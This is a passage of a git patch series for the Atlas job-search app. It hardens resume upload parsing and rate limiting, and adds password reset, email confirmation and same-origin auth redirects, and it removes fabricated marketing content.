> MAX_EXTRACTED_TEXT_CHARS ? clean.slice(0, MAX_EXTRACTED_TEXT_CHARS) : clean; +} async function extractText(buffer2, contentType) { - if (contentType === "application/pdf") { + const mime = await verifyResumeUpload(buffer2, contentType); + if (mime === PDF_MIME) { const parser = new PDFParse({ data: buffer2 }); try { - const result2 = await parser.getText(); - return result2.text; + const result2 = await parser.getText({ first: MAX_PDF_PAGES }); + return finalizeText(result2.text); } finally { await parser.destroy(); } } - if (contentType === DOCX_MIME) { + if (mime === DOCX_MIME) { const result2 = await import_mammoth.default.extractRawText({ buffer: buffer2 }); - return result2.value; - } - if (contentType === "text/plain") { - return buffer2.toString("utf8"); - } - if (contentType === LEGACY_DOC_MIME) { - throw new AppError( - "UNSUPPORTED_MEDIA_TYPE", - "Legacy .doc files are not supported yet \u2014 please upload a PDF, DOCX, or plain-text resume." - ); + return finalizeText(result2.value); } - throw new AppError("UNSUPPORTED_MEDIA_TYPE", `Unsupported resume content type: "${contentType}"`); + return finalizeText(buffer2.toString("utf8")); +} +var RESUME_FAILURE_REASONS = { + unsupported: "This file type is not supported. Please upload a PDF, DOCX, or plain-text resume.", + tooComplex: "This file is too large or complex to process. Please upload a smaller resume.", + unreadable: "We could not read this file. Please try exporting it again as a text-based PDF, DOCX, or plain-text resume." +}; +function resumeFailureReason(cause) { + const code = cause instanceof AppError ? cause.code : void 0; + if (code === "UNSUPPORTED_MEDIA_TYPE") return RESUME_FAILURE_REASONS.unsupported; + if (code === "PAYLOAD_TOO_LARGE") return RESUME_FAILURE_REASONS.tooComplex; + return RESUME_FAILURE_REASONS.unreadable; } // services/profile/src/lib/hash.ts @@ -152574,6 +152813,7 @@ function uploadResumeRoute(app2, deps) { const rawSource = sourceField && !Array.isArray(sourceField) && sourceField.type === "field" ? sourceField.value : void 0; sourceSchema.parse(rawSource); const buffer2 = await data.toBuffer(); + const contentType = await verifyResumeUpload(buffer2, data.mimetype); const contentHash = sha256HexBuffer(buffer2); const existing = await findByUserAndHash(deps.db, actor.user_id, contentHash); if (existing) { @@ -152582,14 +152822,14 @@ function uploadResumeRoute(app2, deps) { return; } const storageKey = `resumes/${actor.user_id}/${contentHash}`; - await deps.storage.put(storageKey, buffer2, { contentType: data.mimetype }); + await deps.storage.put(storageKey, buffer2, { contentType }); let resumeId; try { const resume = await insertPending(deps.db, { userId: actor.user_id, storageUrl: storageKey, originalFilename: data.filename, - contentType: data.mimetype, + contentType, byteSize: buffer2.length, contentHash }); @@ -152607,7 +152847,7 @@ function uploadResumeRoute(app2, deps) { } let parsed = null; try { - const text2 = await extractText(buffer2, data.mimetype); + const text2 = await extractText(buffer2, contentType); const profile = parseResumeText(text2); const report = scoreResume(profile, text2); await markParsed(deps.db, resumeId, { @@ -152618,8 +152858,8 @@ function uploadResumeRoute(app2, deps) { }); parsed = { profile, report }; } catch (cause) { - const reason = cause instanceof Error ? cause.message : String(cause); - await markFailed(deps.db, resumeId, reason); + request.log.warn({ err: cause, resumeId }, "resume parsing failed"); + await markFailed(deps.db, resumeId, resumeFailureReason(cause)); const response2 = { resume_id: resumeId, status: "failed" }; reply.status(201).send(response2); return; @@ -152665,10 +152905,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); void app2.register(import_multipart.default, { limits: { fileSize: deps.env.BODY_LIMIT_BYTES, files: 1 } }); @@ -152712,10 +152948,19 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); - uploadResumeRoute(app2, deps); - getResumeRoute(app2, deps); - listResumesRoute(app2, deps); - optimizeResumeRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW } + }, + (api) => { + uploadResumeRoute(api, deps); + getResumeRoute(api, deps); + listResumesRoute(api, deps); + optimizeResumeRoute(api, deps); + } + ); return app2; } diff --git a/api/referrals/index.js b/api/referrals/index.js index 672d38a..cc958b2 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -74789,6 +74789,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -74976,13 +74994,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -85838,6 +85863,43 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + // services/referrals/src/repo/contacts.ts function toContact(row) { return { @@ -86155,10 +86217,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); const metrics2 = createMetricsRegistry("referrals-service"); registerHttpMetrics(app2, metrics2); app2.setErrorHandler((error62, request, reply) => { @@ -86200,9 +86258,18 @@ function buildApp(deps) { healthRoute(app2, deps); metricsRoute(app2, metrics2); drainRoute(app2, deps); - createContactRoute(app2, deps); - listCompanyContactsRoute(app2, deps); - listReferralsRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW } + }, + (api) => { + createContactRoute(api, deps); + listCompanyContactsRoute(api, deps); + listReferralsRoute(api, deps); + } + ); return app2; } From 043a7fe689ba863d056b6378d6be5ccbe23aa611 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:12:22 +0000 Subject: [PATCH 44/91] feat(web): truthful marketing, email-confirm signup, password reset, safe redirects Salvaged from stream C (interrupted mid-run): removes fabricated social proof and the fake demo preview, adds signup email-confirmation and resend states, forgot/reset password flow, same-origin-only auth callback redirects, dashboard error/loading boundaries, per-page metadata and client-side resume validation. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- apps/web/src/app/auth/callback/route.ts | 42 ++++- .../src/app/dashboard/applications/layout.tsx | 10 ++ .../src/app/dashboard/applications/page.tsx | 16 +- .../web/src/app/dashboard/connectors/page.tsx | 3 + apps/web/src/app/dashboard/error.tsx | 30 ++++ apps/web/src/app/dashboard/jobs/layout.tsx | 10 ++ apps/web/src/app/dashboard/jobs/page.tsx | 14 +- apps/web/src/app/dashboard/layout.tsx | 45 ++---- apps/web/src/app/dashboard/loading.tsx | 21 +++ .../web/src/app/dashboard/messages/layout.tsx | 10 ++ apps/web/src/app/dashboard/messages/page.tsx | 12 +- apps/web/src/app/dashboard/page.tsx | 22 ++- .../src/app/dashboard/referrals/layout.tsx | 10 ++ apps/web/src/app/dashboard/referrals/page.tsx | 12 +- apps/web/src/app/dashboard/resume/layout.tsx | 10 ++ apps/web/src/app/dashboard/resume/page.tsx | 49 ++++-- apps/web/src/app/forgot-password/page.tsx | 11 ++ apps/web/src/app/login/layout.tsx | 12 ++ apps/web/src/app/login/page.tsx | 23 ++- apps/web/src/app/page.tsx | 13 +- apps/web/src/app/register/layout.tsx | 12 ++ apps/web/src/app/register/page.tsx | 110 ++++++++++++- apps/web/src/app/reset-password/page.tsx | 11 ++ apps/web/src/components/auth/AuthShell.tsx | 4 +- .../components/auth/ForgotPasswordForm.tsx | 101 ++++++++++++ .../src/components/auth/ResetPasswordForm.tsx | 137 +++++++++++++++++ .../components/dashboard/DashboardShell.tsx | 61 ++++++++ .../components/dashboard/ResourceError.tsx | 22 +++ .../components/dashboard/SkeletonGroup.tsx | 14 ++ .../components/marketing/CompanyMarquee.tsx | 133 ---------------- .../src/components/marketing/DemoPreview.tsx | 46 ------ apps/web/src/lib/auth-context.tsx | 144 ++++++++++++++++-- apps/web/src/lib/password.ts | 14 ++ apps/web/src/lib/resume-file.ts | 43 ++++++ apps/web/src/lib/safe-redirect.ts | 50 ++++++ apps/web/src/lib/services/profile.ts | 14 +- apps/web/src/lib/site.ts | 21 +++ apps/web/src/lib/use-resource.ts | 4 +- apps/web/test/safe-redirect.test.ts | 82 ++++++++++ 39 files changed, 1107 insertions(+), 291 deletions(-) create mode 100644 apps/web/src/app/dashboard/applications/layout.tsx create mode 100644 apps/web/src/app/dashboard/error.tsx create mode 100644 apps/web/src/app/dashboard/jobs/layout.tsx create mode 100644 apps/web/src/app/dashboard/loading.tsx create mode 100644 apps/web/src/app/dashboard/messages/layout.tsx create mode 100644 apps/web/src/app/dashboard/referrals/layout.tsx create mode 100644 apps/web/src/app/dashboard/resume/layout.tsx create mode 100644 apps/web/src/app/forgot-password/page.tsx create mode 100644 apps/web/src/app/login/layout.tsx create mode 100644 apps/web/src/app/register/layout.tsx create mode 100644 apps/web/src/app/reset-password/page.tsx create mode 100644 apps/web/src/components/auth/ForgotPasswordForm.tsx create mode 100644 apps/web/src/components/auth/ResetPasswordForm.tsx create mode 100644 apps/web/src/components/dashboard/DashboardShell.tsx create mode 100644 apps/web/src/components/dashboard/ResourceError.tsx create mode 100644 apps/web/src/components/dashboard/SkeletonGroup.tsx delete mode 100644 apps/web/src/components/marketing/CompanyMarquee.tsx delete mode 100644 apps/web/src/components/marketing/DemoPreview.tsx create mode 100644 apps/web/src/lib/password.ts create mode 100644 apps/web/src/lib/resume-file.ts create mode 100644 apps/web/src/lib/safe-redirect.ts create mode 100644 apps/web/src/lib/site.ts create mode 100644 apps/web/test/safe-redirect.test.ts diff --git a/apps/web/src/app/auth/callback/route.ts b/apps/web/src/app/auth/callback/route.ts index 727e578..dc1b3fe 100644 --- a/apps/web/src/app/auth/callback/route.ts +++ b/apps/web/src/app/auth/callback/route.ts @@ -1,24 +1,52 @@ import { NextResponse } from 'next/server'; +import { safeNextPath } from '@/lib/safe-redirect'; import { createClient } from '@/lib/supabase/server'; +/** The page the password-recovery email link is sent to (see requestPasswordReset in auth-context.tsx). */ +const RESET_PASSWORD_PATH = '/reset-password'; + +/** + * Builds a redirect that is guaranteed to stay on this origin. `path` is + * already validated by safeNextPath; resolving it against `origin` and + * comparing origins again keeps that guarantee even if the validator is ever + * loosened. + */ +function redirectWithinOrigin(origin: string, path: string): NextResponse { + const target = new URL(path, origin); + if (target.origin !== origin) return NextResponse.redirect(new URL('/dashboard', origin)); + return NextResponse.redirect(target); +} + /** - * Supabase's OAuth flow lands here with `?code=` in the query string (not a - * URL fragment) — exchanged for a session server-side, so the session cookie - * is set before the browser ever sees /dashboard. Replaces the old - * fragment-parsing /oauth/callback page from the auth-service era. + * Supabase's OAuth, email-confirmation and password-recovery flows all land + * here with `?code=` in the query string (not a URL fragment) — exchanged for + * a session server-side, so the session cookie is set before the browser ever + * sees the next page. Replaces the old fragment-parsing /oauth/callback page + * from the auth-service era. + * + * `next` is where to go afterwards; it must be a same-origin path, otherwise + * it is ignored (see safeNextPath). A recovery link sets next=/reset-password, + * so the user arrives there already holding a recovery session. */ export async function GET(request: Request): Promise { const { searchParams, origin } = new URL(request.url); const code = searchParams.get('code'); - const next = searchParams.get('next') ?? '/dashboard'; + const next = safeNextPath(searchParams.get('next')); if (code) { const supabase = await createClient(); const { error } = await supabase.auth.exchangeCodeForSession(code); if (!error) { - return NextResponse.redirect(`${origin}${next}`); + return redirectWithinOrigin(origin, next); } } - return NextResponse.redirect(`${origin}/login?oauth_error=session`); + // Reaching here means the code was missing, expired, already used, or (PKCE) + // the link was opened in a different browser from the one that asked for + // it. A recovery link goes back to "request a new link"; anything else + // goes to sign-in. + if (next === RESET_PASSWORD_PATH) { + return redirectWithinOrigin(origin, '/forgot-password?error=link_invalid'); + } + return redirectWithinOrigin(origin, '/login?oauth_error=session'); } diff --git a/apps/web/src/app/dashboard/applications/layout.tsx b/apps/web/src/app/dashboard/applications/layout.tsx new file mode 100644 index 0000000..4d132b9 --- /dev/null +++ b/apps/web/src/app/dashboard/applications/layout.tsx @@ -0,0 +1,10 @@ +import type { Metadata } from 'next'; +import type { ReactNode } from 'react'; + +// The page itself is a client component, so its title lives here. Indexing is +// already switched off for all of /dashboard in the parent layout. +export const metadata: Metadata = { title: 'Applications' }; + +export default function Layout({ children }: { children: ReactNode }) { + return children; +} diff --git a/apps/web/src/app/dashboard/applications/page.tsx b/apps/web/src/app/dashboard/applications/page.tsx index aeb6e2f..157365b 100644 --- a/apps/web/src/app/dashboard/applications/page.tsx +++ b/apps/web/src/app/dashboard/applications/page.tsx @@ -4,6 +4,8 @@ import { useSession } from '@/lib/auth-context'; import { listApplications } from '@/lib/services/applications'; import { statusLabel, statusVariant } from '@/lib/status-badge'; import { useResource } from '@/lib/use-resource'; +import { ResourceError } from '@/components/dashboard/ResourceError'; +import { SkeletonGroup } from '@/components/dashboard/SkeletonGroup'; import { Badge, Card, CardDescription, CardTitle, Skeleton, fadeUp, staggerContainer } from '@atlas/ui'; import { motion } from 'framer-motion'; @@ -14,22 +16,22 @@ export default function ApplicationsPage() { return (

Applications

-

Every submission, tracked from draft to decision.

+

Your applications, tracked from draft to decision.

{applications.loading ? ( -
+ {[0, 1, 2].map((i) => ( ))} -
+ ) : applications.error ? ( - - Couldn't reach applications-service: {applications.error} - + ) : applications.data?.items.length === 0 ? ( No applications yet - Apply to a matched job to start tracking it here. + + Applications tracked through Atlas will appear here, with their status from draft to decision. + ) : ( diff --git a/apps/web/src/app/dashboard/connectors/page.tsx b/apps/web/src/app/dashboard/connectors/page.tsx index b441a5b..880c9d9 100644 --- a/apps/web/src/app/dashboard/connectors/page.tsx +++ b/apps/web/src/app/dashboard/connectors/page.tsx @@ -1,5 +1,8 @@ +import type { Metadata } from 'next'; import { UnderConstruction } from '@/components/UnderConstruction'; +export const metadata: Metadata = { title: 'Connectors' }; + export default function ConnectorsPage() { return ( void }) { + React.useEffect(() => { + console.error(error); + }, [error]); + + return ( + + Something went wrong + + This page hit an unexpected problem. It's usually temporary — try again, or head back to your overview. + +
+ + +
+
+ ); +} diff --git a/apps/web/src/app/dashboard/jobs/layout.tsx b/apps/web/src/app/dashboard/jobs/layout.tsx new file mode 100644 index 0000000..2614498 --- /dev/null +++ b/apps/web/src/app/dashboard/jobs/layout.tsx @@ -0,0 +1,10 @@ +import type { Metadata } from 'next'; +import type { ReactNode } from 'react'; + +// The page itself is a client component, so its title lives here. Indexing is +// already switched off for all of /dashboard in the parent layout. +export const metadata: Metadata = { title: 'Job matches' }; + +export default function Layout({ children }: { children: ReactNode }) { + return children; +} diff --git a/apps/web/src/app/dashboard/jobs/page.tsx b/apps/web/src/app/dashboard/jobs/page.tsx index b0461eb..45d3b80 100644 --- a/apps/web/src/app/dashboard/jobs/page.tsx +++ b/apps/web/src/app/dashboard/jobs/page.tsx @@ -3,6 +3,8 @@ import { useSession } from '@/lib/auth-context'; import { getRecommendations } from '@/lib/services/jobs'; import { useResource } from '@/lib/use-resource'; +import { ResourceError } from '@/components/dashboard/ResourceError'; +import { SkeletonGroup } from '@/components/dashboard/SkeletonGroup'; import { Badge, Card, CardDescription, CardTitle, ProgressRing, Skeleton, fadeUp, staggerContainer } from '@atlas/ui'; import { motion } from 'framer-motion'; @@ -13,23 +15,21 @@ export default function JobsPage() { return (

Job matches

-

Scored by matching-service against your most recent resume.

+

Scored against your most recent resume.

{jobs.loading ? ( -
+ {[0, 1, 2, 3].map((i) => ( ))} -
+ ) : jobs.error ? ( - - Couldn't reach jobs-service: {jobs.error} - + ) : jobs.data?.items.length === 0 ? ( No matches yet - Scores appear once matching-service has processed your resume against active jobs. + Matches appear once you've uploaded a resume and it has been scored against open roles. Check back shortly. ) : ( diff --git a/apps/web/src/app/dashboard/layout.tsx b/apps/web/src/app/dashboard/layout.tsx index 621ee17..54ef56d 100644 --- a/apps/web/src/app/dashboard/layout.tsx +++ b/apps/web/src/app/dashboard/layout.tsx @@ -1,34 +1,13 @@ -'use client'; - -import { useSession } from '@/lib/auth-context'; -import { Sidebar } from '@/components/dashboard/Sidebar'; -import { Topbar } from '@/components/dashboard/Topbar'; -import { useRouter } from 'next/navigation'; -import * as React from 'react'; - -export default function DashboardLayout({ children }: { children: React.ReactNode }) { - const router = useRouter(); - const { status } = useSession(); - - React.useEffect(() => { - if (status === 'unauthenticated') router.replace('/login'); - }, [status, router]); - - if (status !== 'authenticated') { - return ( -
- {status === 'loading' ? 'Loading your route…' : 'Redirecting to sign in…'} -
- ); - } - - return ( -
- -
- -
{children}
-
-
- ); +import type { Metadata } from 'next'; +import type { ReactNode } from 'react'; +import { DashboardShell } from '@/components/dashboard/DashboardShell'; + +// Everything under /dashboard is behind sign-in: nothing here is for search engines. +export const metadata: Metadata = { + title: 'Dashboard', + robots: { index: false, follow: false }, +}; + +export default function DashboardLayout({ children }: { children: ReactNode }) { + return {children}; } diff --git a/apps/web/src/app/dashboard/loading.tsx b/apps/web/src/app/dashboard/loading.tsx new file mode 100644 index 0000000..8a35491 --- /dev/null +++ b/apps/web/src/app/dashboard/loading.tsx @@ -0,0 +1,21 @@ +import { Card, Skeleton } from '@atlas/ui'; +import { SkeletonGroup } from '@/components/dashboard/SkeletonGroup'; + +/** Shown while a dashboard route segment is loading; mirrors a page's heading + cards. */ +export default function DashboardLoading() { + return ( + + + +
+ {[0, 1, 2, 3].map((i) => ( + + + + + + ))} +
+
+ ); +} diff --git a/apps/web/src/app/dashboard/messages/layout.tsx b/apps/web/src/app/dashboard/messages/layout.tsx new file mode 100644 index 0000000..c644d93 --- /dev/null +++ b/apps/web/src/app/dashboard/messages/layout.tsx @@ -0,0 +1,10 @@ +import type { Metadata } from 'next'; +import type { ReactNode } from 'react'; + +// The page itself is a client component, so its title lives here. Indexing is +// already switched off for all of /dashboard in the parent layout. +export const metadata: Metadata = { title: 'Messages' }; + +export default function Layout({ children }: { children: ReactNode }) { + return children; +} diff --git a/apps/web/src/app/dashboard/messages/page.tsx b/apps/web/src/app/dashboard/messages/page.tsx index d7b6311..75e36b3 100644 --- a/apps/web/src/app/dashboard/messages/page.tsx +++ b/apps/web/src/app/dashboard/messages/page.tsx @@ -4,6 +4,8 @@ import { useSession } from '@/lib/auth-context'; import { listMessages } from '@/lib/services/outreach'; import { statusLabel, statusVariant } from '@/lib/status-badge'; import { useResource } from '@/lib/use-resource'; +import { ResourceError } from '@/components/dashboard/ResourceError'; +import { SkeletonGroup } from '@/components/dashboard/SkeletonGroup'; import { Badge, Card, CardDescription, CardTitle, Skeleton, fadeUp, staggerContainer } from '@atlas/ui'; import { motion } from 'framer-motion'; @@ -17,19 +19,17 @@ export default function MessagesPage() {

Drafted, scheduled, and sent outreach.

{messages.loading ? ( -
+ {[0, 1, 2].map((i) => ( ))} -
+ ) : messages.error ? ( - - Couldn't reach outreach-service: {messages.error} - + ) : messages.data?.items.length === 0 ? ( No messages yet - Draft outreach to a referral contact to see it here. + Outreach you draft or send to referral contacts will appear here. ) : ( diff --git a/apps/web/src/app/dashboard/page.tsx b/apps/web/src/app/dashboard/page.tsx index 551a15e..2b7132c 100644 --- a/apps/web/src/app/dashboard/page.tsx +++ b/apps/web/src/app/dashboard/page.tsx @@ -6,9 +6,9 @@ import { listApplications } from '@/lib/services/applications'; import { listReferrals } from '@/lib/services/referrals'; import { listResumes } from '@/lib/services/profile'; import { useResource } from '@/lib/use-resource'; -import { Card, CardDescription, CardTitle, Skeleton, fadeUp, staggerContainer } from '@atlas/ui'; +import { Button, Card, CardDescription, CardTitle, Skeleton, fadeUp, staggerContainer } from '@atlas/ui'; import { motion } from 'framer-motion'; -import { FileText, SendHorizontal, Search, Users } from 'lucide-react'; +import { FileText, RefreshCw, SendHorizontal, Search, Users } from 'lucide-react'; import Link from 'next/link'; import type { ReactNode } from 'react'; @@ -38,9 +38,9 @@ function StatCard({
{title} {loading ? ( - + ) : error ? ( -

Not reachable

+

Unavailable

) : (

{value}

)} @@ -60,12 +60,26 @@ export default function DashboardOverviewPage() { const referrals = useResource(() => listReferrals(accessToken!), [accessToken]); const latestAts = resumes.data?.items[0]?.ats_score; + const failed = [resumes, jobs, applications, referrals].filter((resource) => resource.error); return (

Your route so far

A quick look at every stage of the pipeline.

+ {failed.length > 0 ? ( +
+ Some of these figures couldn't be loaded. This is usually temporary. + +
+ ) : null} + People at companies you've already applied to.

{referrals.loading ? ( -
+ {[0, 1, 2, 3].map((i) => ( ))} -
+ ) : referrals.error ? ( - - Couldn't reach referrals-service: {referrals.error} - + ) : referrals.data?.items.length === 0 ? ( No referral leads yet - These surface automatically once a contact is on file at a company you've applied to. + Referral contacts are rolling out. When there's a contact on file at a company you've applied to, they'll appear here. ) : ( diff --git a/apps/web/src/app/dashboard/resume/layout.tsx b/apps/web/src/app/dashboard/resume/layout.tsx new file mode 100644 index 0000000..b18b8bc --- /dev/null +++ b/apps/web/src/app/dashboard/resume/layout.tsx @@ -0,0 +1,10 @@ +import type { Metadata } from 'next'; +import type { ReactNode } from 'react'; + +// The page itself is a client component, so its title lives here. Indexing is +// already switched off for all of /dashboard in the parent layout. +export const metadata: Metadata = { title: 'Resume' }; + +export default function Layout({ children }: { children: ReactNode }) { + return children; +} diff --git a/apps/web/src/app/dashboard/resume/page.tsx b/apps/web/src/app/dashboard/resume/page.tsx index fbcf98f..123ec6a 100644 --- a/apps/web/src/app/dashboard/resume/page.tsx +++ b/apps/web/src/app/dashboard/resume/page.tsx @@ -2,9 +2,12 @@ import { ApiError } from '@/lib/api'; import { useSession } from '@/lib/auth-context'; +import { checkResumeFile } from '@/lib/resume-file'; import { listResumes, uploadResume } from '@/lib/services/profile'; import { statusLabel, statusVariant } from '@/lib/status-badge'; import { useResource } from '@/lib/use-resource'; +import { ResourceError } from '@/components/dashboard/ResourceError'; +import { SkeletonGroup } from '@/components/dashboard/SkeletonGroup'; import { Badge, Button, Card, CardDescription, CardTitle, ProgressRing, Skeleton, fadeUp, staggerContainer } from '@atlas/ui'; import { motion } from 'framer-motion'; import { Upload } from 'lucide-react'; @@ -18,15 +21,27 @@ export default function ResumePage() { const fileInputRef = React.useRef(null); async function handleFileSelected(event: React.ChangeEvent) { - const file = event.target.files?.[0]; - if (!file || !accessToken) return; - setUploading(true); + const selected = event.target.files?.[0]; + if (!selected || !accessToken) return; setUploadError(null); + + const checked = checkResumeFile(selected); + if (!checked.ok) { + setUploadError(checked.message); + if (fileInputRef.current) fileInputRef.current.value = ''; + return; + } + + setUploading(true); try { - await uploadResume(file, accessToken); + await uploadResume(checked.file, accessToken); resumes.reload(); } catch (cause) { - setUploadError(cause instanceof ApiError ? cause.message : 'Upload failed.'); + if (cause instanceof ApiError && cause.status === 413) { + setUploadError('That file is too large to upload. Resumes can be at most 4 MB — try a smaller or compressed copy.'); + } else { + setUploadError(cause instanceof ApiError ? cause.message : 'Upload failed. Check your connection and try again.'); + } } finally { setUploading(false); if (fileInputRef.current) fileInputRef.current.value = ''; @@ -46,19 +61,31 @@ export default function ResumePage() { {uploading ? 'Uploading…' : 'Upload resume'} - void handleFileSelected(e)} /> + void handleFileSelected(e)} + />
+

PDF, DOCX, or TXT — up to 4 MB.

- {uploadError ?

{uploadError}

: null} + {uploadError ? ( +

+ {uploadError} +

+ ) : null} {resumes.loading ? ( - + + + ) : resumes.error ? ( - - Couldn't reach profile-service: {resumes.error} - + ) : !latest ? ( No resume yet diff --git a/apps/web/src/app/forgot-password/page.tsx b/apps/web/src/app/forgot-password/page.tsx new file mode 100644 index 0000000..84b41b8 --- /dev/null +++ b/apps/web/src/app/forgot-password/page.tsx @@ -0,0 +1,11 @@ +import type { Metadata } from 'next'; +import { ForgotPasswordForm } from '@/components/auth/ForgotPasswordForm'; + +export const metadata: Metadata = { + title: 'Reset your password', + robots: { index: false, follow: false }, +}; + +export default function ForgotPasswordPage() { + return ; +} diff --git a/apps/web/src/app/login/layout.tsx b/apps/web/src/app/login/layout.tsx new file mode 100644 index 0000000..6ee2250 --- /dev/null +++ b/apps/web/src/app/login/layout.tsx @@ -0,0 +1,12 @@ +import type { Metadata } from 'next'; +import type { ReactNode } from 'react'; + +export const metadata: Metadata = { + title: 'Sign in', + description: 'Sign in to Atlas to pick up your job search where you left it.', + robots: { index: false, follow: false }, +}; + +export default function Layout({ children }: { children: ReactNode }) { + return children; +} diff --git a/apps/web/src/app/login/page.tsx b/apps/web/src/app/login/page.tsx index 2e21df0..df87cb1 100644 --- a/apps/web/src/app/login/page.tsx +++ b/apps/web/src/app/login/page.tsx @@ -20,8 +20,12 @@ function OAuthErrorNotice() { const providerError = searchParams.get('error_description'); if (!ownError && !providerError) return null; return ( -

- {providerError?.replace(/\+/g, ' ') ?? 'Something went wrong finishing sign-in. Please try again.'} +

+ {providerError?.replace(/\+/g, ' ') ?? + "We couldn't finish signing you in. If you just confirmed your email, try signing in with your password below."}

); } @@ -60,7 +64,14 @@ export default function LoginPage() { setEmail(e.target.value)} />
- +
+ + + Forgot password? + +
setPassword(e.target.value)} />
- {error ?

{error}

: null} + {error ? ( +

+ {error} +

+ ) : null} diff --git a/apps/web/src/app/page.tsx b/apps/web/src/app/page.tsx index ec02ab3..dc9a4a8 100644 --- a/apps/web/src/app/page.tsx +++ b/apps/web/src/app/page.tsx @@ -1,6 +1,5 @@ -import { CompanyMarquee } from '@/components/marketing/CompanyMarquee'; +import type { Metadata } from 'next'; import { CtaSection } from '@/components/marketing/CtaSection'; -import { DemoPreview } from '@/components/marketing/DemoPreview'; import { FeatureGrid } from '@/components/marketing/FeatureGrid'; import { FloatingOrbs } from '@/components/marketing/FloatingOrbs'; import { Footer } from '@/components/marketing/Footer'; @@ -11,6 +10,14 @@ import { Outcomes } from '@/components/marketing/Outcomes'; import { PipelineDock } from '@/components/marketing/PipelineDock'; import { StatsSection } from '@/components/marketing/StatsSection'; +// The one page that should be indexed: it carries the canonical URL, and +// openGraph.url, which the root layout deliberately leaves unset so other +// routes don't inherit it. +export const metadata: Metadata = { + alternates: { canonical: '/' }, + openGraph: { url: '/' }, +}; + export default function HomePage() { return (
@@ -18,8 +25,6 @@ export default function HomePage() { - - diff --git a/apps/web/src/app/register/layout.tsx b/apps/web/src/app/register/layout.tsx new file mode 100644 index 0000000..d0357f8 --- /dev/null +++ b/apps/web/src/app/register/layout.tsx @@ -0,0 +1,12 @@ +import type { Metadata } from 'next'; +import type { ReactNode } from 'react'; + +export const metadata: Metadata = { + title: 'Create your account', + description: 'Create an Atlas account and upload your resume.', + robots: { index: false, follow: false }, +}; + +export default function Layout({ children }: { children: ReactNode }) { + return children; +} diff --git a/apps/web/src/app/register/page.tsx b/apps/web/src/app/register/page.tsx index f27b84a..1d72709 100644 --- a/apps/web/src/app/register/page.tsx +++ b/apps/web/src/app/register/page.tsx @@ -3,26 +3,58 @@ import { useSession } from '@/lib/auth-context'; import { AuthShell } from '@/components/auth/AuthShell'; import { OAuthButtons } from '@/components/auth/OAuthButtons'; +import { MAX_PASSWORD_LENGTH, MIN_PASSWORD_LENGTH, passwordProblem } from '@/lib/password'; import { Button, Input, Label } from '@atlas/ui'; +import { MailCheck } from 'lucide-react'; import Link from 'next/link'; import { useRouter } from 'next/navigation'; import * as React from 'react'; +/** Supabase allows one confirmation email per address per minute. */ +const RESEND_COOLDOWN_SECONDS = 60; + export default function RegisterPage() { const router = useRouter(); - const { register } = useSession(); + const { register, resendConfirmation } = useSession(); const [fullName, setFullName] = React.useState(''); const [email, setEmail] = React.useState(''); const [password, setPassword] = React.useState(''); const [error, setError] = 